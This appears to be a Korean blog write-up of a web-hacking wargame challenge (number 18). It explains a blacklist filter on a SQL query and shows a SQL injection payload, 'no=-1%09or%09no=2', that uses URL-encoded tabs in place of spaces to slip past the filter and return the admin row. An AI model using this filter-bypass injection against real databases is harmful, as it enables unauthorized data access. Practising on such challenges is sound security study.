호그와트

웹해킹 18번 문제

영웅*^%&$ 2021. 10. 16. 15:31
728x90

|/|\(|\)|\t|\||&|union|select|from|0x” 문자 들을 찾으려고한다면

no hack의 문자열을 보여주고 종료한다.

필터링 되는 문자열: 공백, /,(,),|,&,union,select,from,0x,tab

핵심 쿼리문: "select id from chall18 where id='guest' and no=$_GET[no]"

%20

select id from chall18 where id='guest' and no='1' or where id='admin' and no = '2'

select id from chall18 where id='guest' and no='1'%20or%20where%20id='admin'%20and%20no%20=%20'2'

select id from chall18 where id='guest' and no='2'%20or%20where%20id='admin'

*필터링을 피해서 no = 2 를 id = admin인 상태에서 검색하면 원하는 플래그를 얻을 수 있다

-1 or no = 2

no=-1%09or%09no=2

(where id='guest' and no='-1')이 거짓이 되고 or no=2는 참이 되므로

거짓 or 참이므로 no=2로 admin을 얻을 수 있다

즉 where id =admin이라고 할 필요도 없었던 것이다

|t 를 인코딩 하면 %09값이 나온다

728x90

'호그와트' 카테고리의 다른 글

웹해킹 12번 문제  (0) 2021.10.16
웹해킹 27번 문제  (0) 2021.10.16
드림핵 웰컴!  (0) 2021.10.16
Simple-sqli(Dreamhack)  (0) 2021.10.16
시큐어mail(Dreamhack)  (0) 2021.10.16